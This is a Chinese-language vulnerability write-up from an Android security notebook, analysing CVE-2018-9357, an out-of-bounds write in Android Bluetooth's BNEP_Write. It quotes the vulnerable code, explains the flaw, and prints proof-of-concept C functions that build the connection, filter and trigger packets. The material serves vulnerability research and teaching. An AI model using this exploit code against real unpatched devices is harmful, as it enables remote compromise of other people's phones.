Happy Android Security
  • 前言
  • CTF
    • 2014 NAGA&PIOWIND APP应用攻防竞赛 Crackme01
    • 2014 NAGA&PIOWIND APP应用攻防竞赛 Crackme02
    • 2014 NAGA&PIOWIND APP应用攻防竞赛 Crackme03
    • 2014 NAGA&PIOWIND APP应用攻防竞赛 Crackme04
    • 2015 0CTF Vezel 100
    • 2015 0CTF Simple 150
    • 2015 XCTF&RCTF Flag System 100
    • 2015 XCTF&RCTF Where 300
    • 2015 海峡两岸CTF 一个APK逆向试试吧
    • 2016 LCTF EASY 100
    • 2016 AliCTF Timer 50
    • 2016 AliCTF Loop And Loop 100
    • 2016 ZCTF Android1 200
    • 2016 LCTF EASY EASY 200
    • 2017 ISCC 全国大学生信息安全与对抗技术竞赛 简单到不行
    • 2017 SSCTF 加密勒索软件 100
    • 2017 SSCTF Login 200
    • 2017 XCTF&NJCTF Easy Crack 100
    • 2017 XCTF&NJCTF Safe Box 100
    • 2017 XCTF&NJCTF Little Rotator Game 200
    • 2017 陕西省网络安全大赛 拯救鲁班七号 100
    • 2017 陕西省网络安全大赛 The Marauders Map 150
    • 2017 陕西省网络安全大赛 人民的名义 抓捕赵德汉1 200
    • 2017 陕西省网络安全大赛 人民的名义 抓捕赵德汉2 200
    • 2017 陕西省网络安全大赛 取证密码 200
  • 应用侧安全
    • 任意私有组件启动漏洞的利用
    • [ByteDance] [TikTok] NotificationBroadcastReceiver导出存在任意私有组件启动结合FileProvider机制与FbSoLoader框架导致本地代码执行漏洞
    • [ByteDance] [TikTok] DetailActivity导出存在任意私有组件启动结合FileProvider机制与FbSoLoader框架导致本地代码执行漏洞
    • [ByteDance] [TikTok] WallPaperDataProvider导出存在任意私有文件读取漏洞
    • [Adobe] [Acrobat Reader] AdobeReader处理DeepLink时未正确进行合法性校验导致下载PDF文件过程出现路径穿越可造成远程代码执行
    • [CVE-2019-16253] [Samsung] [SMT] SamsungTTSService导出存在任意私有组件调用提权漏洞
    • [CVE-2021-25390] [Samsung] [Photo Table] PermissionsRequestActivity存在任意私有组件启动漏洞可获取ContentProvider数据
    • [CVE-2021-25391] [Samsung] [Secure Folder] KnoxSettingCheckLockTypeActivity泄露Intent可获取ContentProvider数据
    • [CVE-2021-25397] [Samsung] [TelephonyUI] PhotoringReceiver导出存在任意文件写漏洞结合动态库加载行为可实现本地任意代码执行
    • [CVE-2021-25410] [Samsung] [CallBGProvider] CallBGProvider的调用权限定义为Normal可实现任意私有文件读取
    • [CVE-2021-25413] [Samsung] [Contacts] SetProfilePhotoActivity导出存在任意私有组件启动漏洞可获取ContentProvider数据
    • [CVE-2021-25414] [Samsung] [Contacts] SetProfilePhotoActivity导出存在任意私有文件读写漏洞
    • [CVE-2021-25440] [Samsung] [FactoryCameraFB] CameraTestActivity导出存在文件读写权限泄露漏洞
    • [CVE-2022-22292] [Samsung] [Telecom] 动态注册BroadcastReceiver默认导出存在任意私有组件启动漏洞
  • 系统侧安全
    • REDMI 5 Plus Second Space Password Bypass
    • 【蓝牙】CVE-2017-13258 CVE-2017-13260 CVE-2017-13261 CVE-2017-13262信息泄露
    • 【蓝牙】CVE-2018-9357 BNEP_Write越界写导致RCE
    • 【蓝牙】CVE-2018-9358 信息泄露
    • 【蓝牙】CVE-2018-9359 process_l2cap_cmd_L2CAP_CMD_INFO_REQ未判断缓冲区边界造成信息泄露
    • 【蓝牙】CVE-2018-9360 process_l2cap_cmd_L2CAP_CMD_CONN_REQ未判断缓冲区边界造成信息泄露
    • 【蓝牙】CVE-2018-9361 process_l2cap_cmd_L2CAP_CMD_DISC_REQ未判断缓冲区边界造成信息泄露
    • 【蓝牙】CVE-2018-9365 smp_sm_event数组越界访问导致RCE
    • 【蓝牙】CVE-2018-9381 gatts_process_read_by_type_req未初始化栈变量导致信息泄露
    • 【NFC】CVE-2018-9584 nfc_ncif_set_config_status未检测长度越界读写
    • 【NFC】CVE-2018-9585_nfc_ncif_proc_get_routing未检测长度越界读写
    • 【蓝牙】CVE-2019-2209 未检测PIN码长度导致越界读造成信息泄露
    • 【NFC】CVE-2019-9358 ce_t3t_data_cback越界读写
  • 内核驱动侧安全
Powered by GitBook
On this page
  1. 系统侧安全

【蓝牙】CVE-2018-9357 BNEP_Write越界写导致RCE

补丁

  • https://android.googlesource.com/platform/system/bt/+/9164ee1aaf3609b4771d39302e3af649f44c9e66

这个漏洞我本来想先自己分析出来,但是没有找到漏洞点

我们先来看漏洞函数,这个函数是用于在BNEP连接里传输数据,所以我们需要先进行BNEP连接,一次BNEP连接,在处理数据包的时候,如果传入的是包指定了协议BNEP_802_1_P_PROTOCOL,就会触发漏洞

/*******************************************************************************
 *
 * Function         BNEP_Write
 *
 * Description      This function sends data over a BNEP connection
 *
 * Parameters:      handle       - handle of the connection to write
 *                  p_dest_addr  - BD_ADDR/Ethernet addr of the destination
 *                  p_data       - pointer to data start
 *                  protocol     - protocol type of the packet
 *                  p_src_addr   - (optional) BD_ADDR/ethernet address of the
 *                                 source
 *                                 (should be NULL if it is local BD Addr)
 *                  fw_ext_present - forwarded extensions present
 *
 * Returns:         BNEP_WRONG_HANDLE       - if passed handle is not valid
 *                  BNEP_MTU_EXCEDED        - If the data length is greater than
 *                                            the MTU
 *                  BNEP_IGNORE_CMD         - If the packet is filtered out
 *                  BNEP_Q_SIZE_EXCEEDED    - If the Tx Q is full
 *                  BNEP_NO_RESOURCES       - If not able to allocate a buffer
 *                  BNEP_SUCCESS            - If written successfully
 *
 ******************************************************************************/
tBNEP_RESULT BNEP_Write(uint16_t handle, const RawAddress& p_dest_addr,
                        uint8_t* p_data, uint16_t len, uint16_t protocol,
                        const RawAddress* p_src_addr, bool fw_ext_present) {
    tBNEP_CONN* p_bcb;
    uint8_t* p;

    // MTU检查
    /* Check MTU size. Consider the possibility of having extension headers */
    if (len > BNEP_MTU_SIZE) {
        BNEP_TRACE_ERROR("BNEP_Write() length %d exceeded MTU %d", len, BNEP_MTU_SIZE);
        return (BNEP_MTU_EXCEDED);
    }

    // handle检查
    if ((!handle) || (handle > BNEP_MAX_CONNECTIONS)) return (BNEP_WRONG_HANDLE);

    p_bcb = &(bnep_cb.bcb[handle - 1]); // 获取p_pcb

    /* Check if the packet should be filtered out */
    if (bnep_is_packet_allowed(p_bcb, p_dest_addr, protocol, fw_ext_present, p_data) != BNEP_SUCCESS) {
        /*
        ** If packet is filtered and ext headers are present
        ** drop the data and forward the ext headers
        */
        if (fw_ext_present) {
            uint8_t ext, length;
            uint16_t org_len, new_len;
            /* parse the extension headers and findout the new packet len */
            org_len = len; // org_len表示Buffer原本长度
            new_len = 0;   // new_len表示新的Buffer长度
            p = p_data;    // p表示Buffer原始起始地址
            do {
                ext = *p_data++;    // 获取第一个字节作为ext
                length = *p_data++; // 获取第二个字节作为length
                p_data += length;   // 移动p_data指向下一个扩展起始地址

                new_len += (length + 2); // new_length加上ext,length两字节,再加上length长度的数据

                if (new_len > org_len) return BNEP_IGNORE_CMD; // new_len不能超过原始Buffer整体长度org_len

            } while (ext & 0x80);

            if (protocol != BNEP_802_1_P_PROTOCOL)
                protocol = 0;
            else {
                // new_len加上4
                new_len += 4;
                p_data[2] = 0;
                p_data[3] = 0;
            }
            len = new_len; // len为最终的新Buffer长度
            p_data = p; // p_data重新指向Buffer起始
        } else
            return BNEP_IGNORE_CMD;
    }
    
    ...
}

通过阅读POC,如下构造数据包,传入BNEP()的p_data就是ext_1开始往后的数据

  1. 第一轮循环:ext为0x81,表示还有一个ext,length为0x00,这样一轮循环后,p_data就指向了ext_2,new_len为2

  2. 第二轮循环:ext为0x00,表示后面没有ext了,length为0x00,第二轮循环结束后,p_data指向OOB

出了循环,指定protocol为0x8100也就是BNEP_802_1_P_PROTOCOL,就可以进入else分支,new_len加上4我没有理解在计算什么,后面直接对p_data[2]和p_data[3]进行赋值操作,此时完全没有判断OOB[0]开始往后4个字节属于Buffer边界内,这就是一个越界写漏洞

| ext(1) | dst_addr(6) | src_addr(6) | Protocol(2) | ext_1(1) | Len_1(1) | ext_2(1) | Len_2(1) | OOB[0] | OOB[1] | OOB[2] | OOB[3] | | - | - | - | - | - | - | - | - | - | - | - | - | - | - | | 0x80 | | | 0x8100 | 0x81 | 0x00 | 0x00 | 0x00 | | |||||

构造关键数据包的步骤如下

static int send_trigger_req(int sock_fd, uint8_t *dst, uint8_t *src) 
{
	uint8_t *buf, *p;
	int ret = 0;

	p = buf = malloc(0x200);
	memset(buf, 0, 0x200);

	uint8_t type = 0x80; // for ext
	*p++ = type;

    uint8_t dst_addr[6], src_addr[6];
    getbd(dst, dst_addr);
	memcpy(p, dst_addr, 6); // dst_addr
	p += 6;

    getbd(src, src_addr);
	memcpy(p, src_addr, 6); //src_add
	p += 6;

	// #define BNEP_802_1_P_PROTOCOL 0x8100
	uint16_t protocol = 0x8100;
	UINT16_TO_BE_STREAM(p, protocol);

	// rem_len start 
	uint8_t ext_type = 0x81;
	*p++ = ext_type;  // enter while loop, and break

	uint8_t len = 0x00;
	*p++ = len;    // new_len = 2

	uint8_t ext2 = 0x00;
	*p++ = ext2;

	uint8_t *p_len2 = p; // 此时p和p_len2指向的是Len_2
	p++; // p加1,指向OOB[0]

	uint8_t len2 = p - buf - 15 - 2 - 2; // 这里计算出来就是0,len2 = 0
	UINT8_TO_BE_STREAM(p_len2, len2);    // 将0写到Len2_2的位置

	send(sock_fd, buf, p - buf, 0);

	free(buf);
}

那么我们现在来看完整的攻击流程,第一步是建立BNEP连接,BNEP包格式如下,E为扩展标志位

BNEP Packet Type有如下几种类型,我们选择BNEP_GENERAL_ETHERNET

Value
BNEP Packet Type

0x00

BNEP_GENERAL_ETHERNET

0x01

BNEP_CONTROL

0x02

BNEP_COMPRESSED_ETHERNET

0x03

BNEP_COMPRESSED_ETHERNET_SOURCE_ONLY

0x04

BNEP_COMPRESSED_ETHERNET_DEST_ONLY

0x05 - 0x7E

Reserved for future use

0x7F

Reserved for 802.2 LLC Packets for IEEE 802.15.1 WG

BNEP Control Type设置的是BNEP_SETUP_CONNECTION_REQUEST_MSG,此处不添加扩展数据

整个连接请求包的格式

其中Destination Service UUID和Source Service UUID长度不固定,最少是2个字节

Destination Service UUID: Size: 2-16 Bytes

Value
Parameter Description

0xXX

Depending on the UUID Size parameter, this is a 2-16 byte field containing the destination (service which the source device is connecting to) SDP service UUIDs [8]. Note: The size of both the destination and source service UUID SHALL be the same.

Source Service UUID: Size: 2-16 Bytes

Value
Parameter Description

0xXX

Depending on the UUID Size parameter, this is a 2-16 byte field containing the source (the service that the source device is using for the BNEP connection) SDP service UUIDs [8]. Note: The size of both the destination and source service UUID SHALL be the same.

BNEP_SETUP_CONNECTION_REQUEST_MSG包的构造过程如下

static int send_frame_ctrl_conn_req(int sock_fd){
	uint8_t *buf, *p;
	int ret = 0;

	p = buf = malloc(0x100);
	memset(buf, 0, 0x100);

	uint8_t type = BNEP_FRAME_CONTROL;
	*p++ = type;

	uint8_t ctrl_type = BNEP_SETUP_CONNECTION_REQUEST_MSG;
	*p++ = ctrl_type;

	uint8_t len = 0x02;
	*p++ = len;

	uint16_t SRC_UUID = 0x1116; // PAN profile
	uint16_t DST_UUID = 0x1115; // PAN profile
	UINT16_TO_BE_STREAM(p, SRC_UUID);  // src_uuid
	UINT16_TO_BE_STREAM(p, DST_UUID); // dst_uuid

	uint16_t protocol = 0x0000;
	UINT16_TO_BE_STREAM(p, protocol);

	send(sock_fd, buf, p - buf, 0);

	free(buf);
}

设置filter

static int send_frame_ctrl_filter_net_req(int sock_fd)
{
	// to make p_bcb->recv_num_filters not 0
	uint8_t *buf, *p;
	int ret = 0;

	p = buf = malloc(0x100);
	memset(buf, 0, 0x100);

	uint8_t type = BNEP_FRAME_CONTROL;
	*p++ = type;

	uint8_t ctrl_type = BNEP_FILTER_NET_TYPE_SET_MSG;  // no ext
	*p++ = ctrl_type;

	uint16_t len = 0x04; // this make num_filters = 0x01
	UINT16_TO_BE_STREAM(p, len);  // len

	uint16_t start = 0xfffe;  // must meet condition (protocol < start || protocol > end)
	uint16_t end = 0xffff;    // then bnep_is_packet_allowd return un-SUCCESS.
	UINT16_TO_BE_STREAM(p, start);
	UINT16_TO_BE_STREAM(p, end);

	send(sock_fd, buf, p - buf, 0);

	free(buf);
}
Previous【蓝牙】CVE-2017-13258 CVE-2017-13260 CVE-2017-13261 CVE-2017-13262信息泄露Next【蓝牙】CVE-2018-9358 信息泄露

Last updated 1 year ago